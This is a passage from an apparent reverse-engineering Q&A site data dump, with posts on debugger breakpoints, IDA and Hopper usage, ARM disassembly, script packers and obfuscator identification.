securesprintf(i);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ollydbg 2.01&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of analysis assume arguments you have to shift + f4 directly and specify the function type there  use format 2A (arg1,format,.....) but there is a bug in the function because of which the resulting strings are truncated out &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INT3 breakpoints&#xA;Address   Module    Status       Disassembly                              Comment&#xA;00401120 &amp;gt;sprintlog Cond         PUSH    EBP                              INT sprintlog.sprintf_s&amp;lt;128&amp;gt;(_Dest,_Format)&#xA;00401147 &amp;gt;sprintlog Cond         MOV     EDI, EDI                         INT sprintlog.sprintf(string,format)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output from ollydbg 2.01 (notice %03d showing correct values but %p %s output are not visible )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;00401147  Call to sprintlog.sprintf from sprintlog.0040104F&#xA;        0013FEE0  Arg1 = 13FEE0&#xA;        004131AC  Format = &quot;%s    %03d %s %p&quot;&#xA;        00413194  &amp;lt;%s&amp;gt; =&#xA;        00000000  &amp;lt;%03d&amp;gt; =&#xA;        0041318C  &amp;lt;%s&amp;gt; =&#xA;        00401105  &amp;lt;%p&amp;gt; =&#xA;00401120  Call to sprintlog.sprintf_s&amp;lt;128&amp;gt; from sprintlog.004010BF&#xA;        0013FEE0  Arg1 = 13FEE0&#xA;        004131E0  Format = &quot;%s    %03d %s %p&quot;&#xA;        004131C8  &amp;lt;%s&amp;gt; =&#xA;        00000000  &amp;lt;%03d&amp;gt; =&#xA;        004131C0  &amp;lt;%s&amp;gt; =&#xA;        00401111  &amp;lt;%p&amp;gt; =&#xA;========================================================================================&#xA;00401147  Call to sprintlog.sprintf from sprintlog.0040104F&#xA;        0013FEE0  Arg1 = 13FEE0&#xA;        004131AC  Format = &quot;%s    %03d %s %p&quot;&#xA;        00413194  &amp;lt;%s&amp;gt; =&#xA;        00000004  &amp;lt;%03d&amp;gt; =&#xA;        0041318C  &amp;lt;%s&amp;gt; =&#xA;        00401105  &amp;lt;%p&amp;gt; =&#xA;00401120  Call to sprintlog.sprintf_s&amp;lt;128&amp;gt; from sprintlog.004010BF&#xA;        0013FEE0  Arg1 = 13FEE0&#xA;        004131E0  Format = &quot;%s    %03d %s %p&quot;&#xA;        004131C8  &amp;lt;%s&amp;gt; =&#xA;        00000004  &amp;lt;%03d&amp;gt; =&#xA;        004131C0  &amp;lt;%s&amp;gt; =&#xA;        00401111  &amp;lt;%p&amp;gt; =&#xA;      Process terminated, exit code 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw it is incredibly simple with windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; x *!sprintf*&#xA;7c925bc4 ntdll!sprintf = &amp;lt;no type information&amp;gt;&#xA;00401147 sprintlog!sprintf (void)&#xA;004011e7 sprintlog!sprintf_s (void)&#xA;00401120 sprintlog!sprintf_s&amp;lt;128&amp;gt; (char (*)[128], char *)&#xA;0:000&amp;gt; bp 00401120 &quot;r $t1 = poi(@esp+4) ; gu; .printf \&quot;%ma\\n\&quot;, @$t1 ; gc&quot;&#xA;0:000&amp;gt; bp 00401147 &quot;r $t1 = poi(@esp+4) ; gu; .printf \&quot;%ma\\n\&quot;, @$t1 ; gc&quot;&#xA;0:000&amp;gt; .bpcmds&#xA;bp0 0x00401120  &quot;r $t1 = poi(@esp+4) ; gu; .printf \&quot;%ma\\n\&quot;, @$t1 ; gc&quot;;&#xA;bp1 0x00401147  &quot;r $t1 = poi(@esp+4) ; gu; .printf \&quot;%ma\\n\&quot;, @$t1 ; gc&quot;;&#xA;0:000&amp;gt; g&#xA;ModLoad: 5cb70000 5cb96000   C:\WINDOWS\system32\ShimEng.dll&#xA;sprint logging number    000 logme 00401105&#xA;sprint logging number    000 logme 00401111&#xA;sprint logging number    001 logme 00401105&#xA;sprint logging number    001 logme 00401111&#xA;sprint logging number    002 logme 00401105&#xA;sprint logging number    002 logme 00401111&#xA;sprint logging number    003 logme 00401105&#xA;sprint logging number    003 logme 00401111&#xA;sprint logging number    004 logme 00401105&#xA;sprint logging number    004 logme 00401111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-10-01T20:10:48.187" LastActivityDate="2014-10-01T20:10:48.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6361" PostTypeId="1" AcceptedAnswerId="6362" CreationDate="2014-10-01T21:29:39.807" Score="2" ViewCount="359" Body="&lt;p&gt;I have this small subroutine (from Hopper, but IDA is similar):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;             sub_stringbegin:&#xA;000127b8         push       {r11, lr}                                          &#xA;000127bc         add        r11, sp, #0x4&#xA;000127c0         sub        sp, sp, #0x8&#xA;000127c4         str        r0, [r11, #-0x8]&#xA;000127c8         ldr        r0, [r11, #-0x8]&#xA;000127cc         bl         _ZNSs5beginEv@PLT                                   &#xA;000127d0         mov        r3, r0&#xA;000127d4         mov        r0, r3&#xA;000127d8         sub        sp, r11, #0x4&#xA;000127dc         pop        {r11, pc}&#xA;                        ; endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parameter is passed to this in r0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this stored into the stack frame then immediately read out? It seems wasteful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that r0-r3 aren't preserved in the ARM calling convention, but in that instance it would be sufficient to either just store it in the stack frame or pop it onto the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, moving r0 into r3 and back again seems wasteful after the branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a ELF executable from a Busybox system. &lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2014-10-01T21:52:52.417" LastActivityDate="2016-10-16T07:50:07.760" Title="Why does this ARM subroutine put a parameter into the stack frame and take it straight back out?" Tags="|disassembly|arm|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6362" PostTypeId="2" ParentId="6361" CreationDate="2014-10-01T21:58:29.517" Score="4" Body="&lt;p&gt;This is most likely just non-optimized code. When optimization is disabled, the compiler may do the silliest things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hear that many old-time embedded engineers do not enable optimizations in principle because they got burned by optimization bugs in old compilers.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="4437" LastEditDate="2015-04-28T08:52:16.937" LastActivityDate="2015-04-28T08:52:16.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6364" PostTypeId="2" ParentId="6358" CreationDate="2014-10-02T01:26:00.637" Score="2" Body="&lt;p&gt;This is dean edwards' js packer : &lt;a href=&quot;http://dean.edwards.name/packer/&quot; rel=&quot;nofollow&quot;&gt;http://dean.edwards.name/packer/&lt;/a&gt;. I see it quite frequently being used to obfuscate scripts as it is freely available. It's written in Javascript but there are also versions in other langages on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way the Decode button and text area is only disabled via HTML attributes, so you can reenable them using The Developer Tools in Google Chrome for example :) Here are the 2 decoded scripts from your sample :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/duWWwWuQ&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/duWWwWuQ&lt;/a&gt;&#xA;&lt;a href=&quot;http://pastebin.com/VUaivSVk&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/VUaivSVk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-10-02T01:26:00.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6365" PostTypeId="1" CreationDate="2014-10-02T15:05:05.727" Score="0" ViewCount="133" Body="&lt;p&gt;What I want to know is that is there any similarity or may be difference between a binary instructions and an execution instruction of a binary ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other world, in area of malware analysis a binary can be examined in both static and dynamic analysis. In static its instructions will be extracted without executing it while in dynamic the instructions will be extracted during execution of a binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to clarify my question, I want to examine a binary(every binary even not malware) by comparing outputs of static and dynamic analysis in the fine grained level(instructions). But there are two problem for me! At first is it possible to compare these two outputs and how can I do that(do these two output belong to the same category that make the comparison possible)? As I saw the instructions output of dynamic and static analysis contain lots of instruction(very large output) so I am not sure can I compare them or not? &#xA;and if it possible do I need multipath dynamic analysis to perform precise comparison?&lt;/p&gt;&#xA;" OwnerUserId="8671" LastEditorUserId="53" LastEditDate="2017-04-28T12:53:24.007" LastActivityDate="2017-04-28T12:53:24.007" Title="What is the relation between binary (executable) instructions and execution instruction" Tags="|disassembly|malware|static-analysis|dynamic-analysis|" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-03T08:29:20.087" ContentLicense="CC BY-SA 3.0" />
  <row Id="6366" PostTypeId="2" ParentId="6365" CreationDate="2014-10-02T15:13:55.213" Score="1" Body="&lt;p&gt;Malware executable can be self-modifying or packed. Using dynamic analysis may be a good shortcut to extract really executed code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally position independent and not specially modified instructions should be exactly the same.&#xA;Addresses of functions can be different because of ASLR or as a result of loader actions.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-10-02T15:30:40.393" LastActivityDate="2014-10-02T15:30:40.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6368" PostTypeId="1" AcceptedAnswerId="6369" CreationDate="2014-10-03T15:04:15.470" Score="1" ViewCount="353" Body="&lt;p&gt;I have the following two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ....&#xA;  push 401150h&#xA;  call sub_401253&#xA;  ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, when I click on &lt;strong&gt;push 401150h&lt;/strong&gt; IDA PRO shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  seg0001 : 00401120 dword_401120  dd  6F662F3Ch, 3C3E746Eh, 3E702Fh, 253A4E52h, 54522073h&#xA;  dd 2073253Ah, 73253A55h, 253A5020h, 656C774h, 616223Dh, 72676B63h, 646E756Fh&#xA;  dd 0D73h, 7320703Ch, 335504h, 7265464h, 5484531h 55E4ADEh, A585B5448h, &#xA;  .....(and so on)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my first question would be : what is this? what it can be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My own results: that thing which I mentioned above is a string because in the function sub_401253 they copy it using lstrcpy() into a buffer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ...&#xA; lea eax, [esp+1FC + Buffer]&#xA; ...&#xA; mov edi, [esp+208+arg_0]&#xA; push edi, &#xA; push eax, &#xA; call lstrcpy&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, in a next block the content of the buffer(which are the hexadecimal numbers now) is XORed in a loop. I assume that they encrypt or decrypt it (but that is not so importan for me right now.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to know what IDA PRO try to depict with &lt;strong&gt;push 401150h&lt;/strong&gt; which represents the hexadecimal numbers.&#xA;Thats it. I hope you can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards,&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-10-04T10:29:51.480" Title="PUSHing a lot of hexadecimal numbers" Tags="|ida|assembly|hexadecimal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6369" PostTypeId="2" ParentId="6368" CreationDate="2014-10-03T15:26:16.000" Score="8" Body="&lt;p&gt;The data at &lt;code&gt;00401120&lt;/code&gt; is ASCII-encoded text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3C 2F 66 6F 6E 74 3E 3C 2F 70 3E 00 52 4E 3A 25        &amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;.RN:%&#xA;73 20 52 54 3A 25 73 20 55 3A 25 73 20 50 3A 25        s RT:%s U:%s P:%&#xA;77 6C 65 00 3D 22 62 61 63 6B 67 72 6F 75 6E 64        wle.=&quot;background&#xA;73 0D 00 00                                            s...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can tell IDA to decode those bytes as text by clicking on the data at &lt;code&gt;00401120&lt;/code&gt; and pressing the &lt;kbd&gt;A&lt;/kbd&gt; key&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-10-03T15:26:16.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6370" PostTypeId="1" CreationDate="2014-10-03T20:11:34.847" Score="2" ViewCount="3060" Body="&lt;p&gt;Id like to debug (to log function calls) native ARM Android Code in a shared library. So far I got no source and tried to disassemble it with IDA, but its hard to track all the calls down to a specific function.&lt;br&gt;&lt;br&gt;&#xA;So I came up with IDA's &lt;code&gt;android_server&lt;/code&gt;, which didnt work(&lt;em&gt;not breaking on breakpoints, pausing takes me always to the same loop, cant step through&lt;/em&gt;) and Android NDK's &lt;code&gt;gbdserver&lt;/code&gt; using as remote GDB Debugger in IDA based on that &lt;a href=&quot;http://forum.xda-developers.com/showpost.php?p=35602033&amp;amp;postcount=5&quot; rel=&quot;nofollow&quot;&gt;http://forum.xda-developers.com/showpost.php?p=35602033&amp;amp;postcount=5&lt;/a&gt; which results in the same. Using NDK's &lt;code&gt;gdbserver&lt;/code&gt; and cli &lt;code&gt;gdb&lt;/code&gt; didnt work, cause it requires the (source) project folder.&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;Thats why Id like to ask if there is  a way to debug native code w/o source or tracking down the calls is possible?&#xA;&lt;br&gt;&lt;em&gt;(in this case nearly all of the app runs on native code/the funcs Id like to track arent called directly over JNI)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8681" LastActivityDate="2017-05-04T06:13:13.190" Title="Debug Android Native Code without source" Tags="|ida|debugging|gdb|android|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6371" PostTypeId="1" AcceptedAnswerId="6380" CreationDate="2014-10-04T10:23:46.430" Score="2" ViewCount="783" Body="&lt;p&gt;I have the following line (I use IDA PRO) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ...&#xA;   push (offset aPstorec_dllwne+0Ch)      ; lpProcName&#xA;   push esi                               ; hModule&#xA;   call GetProcAddress_0&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on &lt;strong&gt;(offset aPstorec_dllwne+0Ch)&lt;/strong&gt; I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   seg001:004012F0 ; char aPstorec_dllwne[] &#xA;                   aPstorec_dllwne db 'pstorec.dll, 0 , 'WNetEnumCachedPasswords', &#xA;                   0 , 'MPR.DLL' , 0 , 'SeDebugPrivilege', 0 , 0 , 0 , 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is: &#xA;How should I read it to get the info which process is meant? I know that each field of an array is 4 byte and the &lt;strong&gt;db&lt;/strong&gt; at the beginning indicates that.&#xA;But when I count from zero, I come to the 0 after WNetEnumCachedPasswords. It is wrong, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-10-04T22:33:25.853" Title="Using GetProcAddress with offset syntax" Tags="|assembly|array|offset|process|call|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6373" PostTypeId="2" ParentId="6338" CreationDate="2014-10-04T11:21:06.800" Score="2" Body="&lt;p&gt;I don't think that this is possible now; feel free to open an issue on Hopper's &lt;a href=&quot;http://www.hopperapp.com/bugtracker/&quot; rel=&quot;nofollow&quot;&gt;bugtracker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-10-04T11:21:06.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6374" PostTypeId="2" ParentId="6329" CreationDate="2014-10-04T11:25:39.503" Score="-2" Body="&lt;p&gt;You can also give a try to &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool&quot; rel=&quot;nofollow&quot;&gt;pin&lt;/a&gt;. There is even an &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/49306/Pin/html/index.html#SimpleCount&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt; in the documentation explaining exactly what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-10-04T11:25:39.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6375" PostTypeId="2" ParentId="6208" CreationDate="2014-10-04T12:07:58.603" Score="0" Body="&lt;p&gt;I use the following ones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rdgsoft.net/&quot; rel=&quot;nofollow&quot;&gt;RDG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy&quot; rel=&quot;nofollow&quot;&gt;DiE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/plusvic/yara&quot; rel=&quot;nofollow&quot;&gt;Yara&lt;/a&gt; with &lt;a href=&quot;https://github.com/radare/radare2/tree/master/shlr/yara&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; set of rules&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://handlers.dshield.org/jclausing/packerid.py&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; Python script that uses PEiD rules (like &lt;a href=&quot;http://research.pandasecurity.com/blogs/images/userdb.txt&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; one).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-10-04T12:07:58.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6376" PostTypeId="1" AcceptedAnswerId="6386" CreationDate="2014-10-04T12:31:02.597" Score="3" ViewCount="1430" Body="&lt;p&gt;My program loads and unloads a DLL of main interest at runtime.&#xA;I try to add comments and labels to the DLLs code, but when it is unloaded and loaded again, they are gone, as the DLL is rebased most of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in search for an OllyDbg plugin to preserve the comments and labels when a DLL gets rebased (for Olly 1, but this task is that important that I'd also switch to Olly 2 if there is a plugin only for 2).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I tried &lt;a href=&quot;http://www.openrce.org/downloads/details/107/Labelmaster&quot; rel=&quot;nofollow&quot;&gt;Labelmaster&lt;/a&gt;, it can export and import comments and labels into text files. But the addresses in the textfiles are completely static and do not respect rebased DLLs.&lt;/li&gt;&#xA;&lt;li&gt;A forum user &lt;a href=&quot;http://www.blizzhackers.cc/viewtopic.php?f=71&amp;amp;t=310891&amp;amp;start=0&quot; rel=&quot;nofollow&quot;&gt;posted a plugin named &quot;Dynamic Debugging&quot;&lt;/a&gt; which would solve my problems as it can load stored comments and labels with a base address I can manually specify. However, the thread is from 2006, and the download cannot be found on the net anymore, not even in archives.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyone knowing a plugin or still having the &quot;Dynamic Debugging&quot; plugin?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2021-01-08T15:32:38.867" Title="OllyDbg: Keep comments &amp; labels in rebased DLL" Tags="|ollydbg|binary-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6377" PostTypeId="1" AcceptedAnswerId="6471" CreationDate="2014-10-04T13:18:23.310" Score="1" ViewCount="2930" Body="&lt;p&gt;In an application I'm analyzing, there's a global variable whose purpose/role in the program is known to me. I'd like to rename it, but for some reason I cannot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00537E90                 mov     edx, ds:1C968D8h&#xA;.text:00537E96                 mov     [eax], edx&#xA;.text:00537E98                 mov     ds:1C968D8h, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I position the cursor on the address (&lt;code&gt;ds:1C968D8h&lt;/code&gt;) and try to jump (using Enter), IDA will complain &lt;code&gt;Command &quot;JumpEnter&quot; failed&lt;/code&gt;. Attempting to rename it with the N hotkey will cause IDA to place a label at that address rather than rename the variable as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I'm doing this for educational purposes, this is a proprietary application, so I don't have the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked Chris Eagle's &quot;The IDA Pro Book&quot;, but there seems to be nothing on the subject in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2014-10-15T16:16:20.690" Title="IDA - cannot rename or jump to a global variable" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6378" PostTypeId="2" ParentId="6377" CreationDate="2014-10-04T16:48:39.207" Score="3" Body="&lt;p&gt;It is possible that the address segment which this data belongs to does not exists in the idb.&#xA;It can happen if this segment is created dynamically by OS level memory allocation functions like VirtualAlloc or VirtualAllocEx in Windows.&#xA;You can check it by viewing segment addresses in corresponding IDA window.&#xA;If this segment doesn't exist, just create one from the same segment window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not so, there is another possibility: your global data is not defined as offset ( and not treated as address ). Place cursor on it, press left button, press o on the keyboard to say to IDA that it is address.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-10-04T16:48:39.207" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6379" PostTypeId="1" CreationDate="2014-10-04T21:02:06.730" Score="1" ViewCount="101" Body="&lt;p&gt;I'm currently reverse engineering a JSP applet running through JBoss. Decompiling the code it looks like there are a bunch of Logger.debug() calls in the code that aren't guarded. A quick read through the API and I didn't see where this output actually goes or if it's even accessible, but since I'm pretty new at REing Java stuff I figured being able to see the log messages being printed as the application is running would go a long way to figuring out code flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to read debug output from the running application? I saw JavaSnoop referenced in another Stack Exchange post and I'm probably going to explore that but I didn't know if there was an easier way. All I want to do for now is try to get a handle on how to interact with the parts of the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if there's a better way to go about it that would be appreciated as well. What I'm looking at is a Java SE binary so tracing that to the servlets is the end goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-10-04T21:02:06.730" Title="Accessing debug log on Java application" Tags="|java|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6380" PostTypeId="2" ParentId="6371" CreationDate="2014-10-04T22:33:25.853" Score="3" Body="&lt;p&gt;If you run across an API call that you're unfamiliar with, check the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN page&lt;/a&gt;. Parameter 2 is &quot;The function or variable name, or the function's ordinal value.&quot; Looking at your offset only one of those things is a function name, WNetEnumCachedPasswords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify this as the comment in your post said, by counting 12 (0xc) bytes from aPstorec_dllwne. db stands for databyte and you can also see that &quot;char aPstorec_dllwne[]&quot; designates a character array, also 1 byte per element.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-10-04T22:33:25.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6381" PostTypeId="1" AcceptedAnswerId="6382" CreationDate="2014-10-05T10:09:09.287" Score="1" ViewCount="247" Body="&lt;p&gt;I am working on some ARM disassembly. A file is being operated on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000e550  sub  r3, r11, #0x2d0&#xA;0000e554  mov  r0, r3        ; /tmp/MAC&#xA;0000e558  ldr  r1, = 0x9a60c ; 0xec04 (sub_e3a8 + 0x85c)&#xA;0000e55c  mov  r2, #0x8      ; std::basic_fstream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;::basic_fstream(char const*,std::_Ios_Openmode)&#xA;0000e560  bl   _ZNSt13basic_fstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@PLT ; std::basic_fstream&amp;lt;char, std::char_traits&amp;lt;char&amp;gt; &amp;gt;::basic_fstream(char const*, std::_Ios_Openmode)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;r0&lt;/code&gt; is &quot;&lt;code&gt;this&lt;/code&gt;&quot;, &lt;code&gt;r1&lt;/code&gt; is the path (&lt;code&gt;/tmp/MAC&lt;/code&gt;) and &lt;code&gt;r2&lt;/code&gt; is the mode. As can be seen, the mode is &lt;code&gt;0x8&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mode is &quot;implementation defined&quot; according to &lt;a href=&quot;http://en.cppreference.com/w/cpp/io/ios_base/openmode&quot; rel=&quot;nofollow&quot;&gt;several sources&lt;/a&gt;. I haven't got specifics of the implementation unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the typical implementation of this on ARM ?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="53" LastEditDate="2014-10-13T10:53:24.607" LastActivityDate="2014-10-13T10:53:24.607" Title="How do I map the std::_Ios_Openmode passed to basic_fstream to an actual value?" Tags="|disassembly|c++|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6382" PostTypeId="2" ParentId="6381" CreationDate="2014-10-05T10:44:01.333" Score="2" Body="&lt;p&gt;You should try to find out which compiler/library is being used, then check the specs of that compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it's &lt;code&gt;gcc&lt;/code&gt; with &lt;code&gt;libstdc++&lt;/code&gt; (this is quite probable if you're on android; less probable on Windows RT), googling for &quot;gcc libstd ios_base openmode&quot; yields &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/libstdc++/libstdc++-api-4.5/a00504.html&quot; rel=&quot;nofollow&quot;&gt;https://gcc.gnu.org/onlinedocs/libstdc++/libstdc++-api-4.5/a00504.html&lt;/a&gt;, which tells it's defined in ios_base.h. Navigating there, you can find &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00112   enum _Ios_Openmode &#xA;00113     { &#xA;00114       _S_app        = 1L &amp;lt;&amp;lt; 0,&#xA;00115       _S_ate        = 1L &amp;lt;&amp;lt; 1,&#xA;00116       _S_bin        = 1L &amp;lt;&amp;lt; 2,&#xA;00117       _S_in         = 1L &amp;lt;&amp;lt; 3,&#xA;00118       _S_out        = 1L &amp;lt;&amp;lt; 4,&#xA;00119       _S_trunc      = 1L &amp;lt;&amp;lt; 5,&#xA;00120       _S_ios_openmode_end = 1L &amp;lt;&amp;lt; 16 &#xA;00121     };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const openmode in =      _S_in;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the open mode is probably &lt;code&gt;in&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, unless you find out which compiler was used, this a guess, and we can only help you guessing.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-05T10:44:01.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6383" PostTypeId="2" ParentId="6202" CreationDate="2014-10-05T12:07:06.550" Score="5" Body="&lt;p&gt;This is definitely one of the naming schemes from Crypto Obfuscator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ssware.com/cryptoobfuscator/features.htm&quot; rel=&quot;nofollow&quot;&gt;As listed on their features page:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Fake Renaming Scheme&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Crypto Obfuscator also has a renaming mode which renames all classes, fields, methods, etc to fake but realistic names like Domain/Log/Stream/etc (for classes) or Open/Close/Clear/Delete/etc for methods and so on. This makes it extremely difficult to differentiate between symbols excluded from obfuscation and obfuscated symbols.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, running de4dot through Command Prompt should display the detected obfuscator.&lt;/p&gt;&#xA;" OwnerUserId="8692" LastEditorUserId="3615" LastEditDate="2014-10-16T11:12:13.857" LastActivityDate="2014-10-16T11:12:13.857" CommentCount="1" 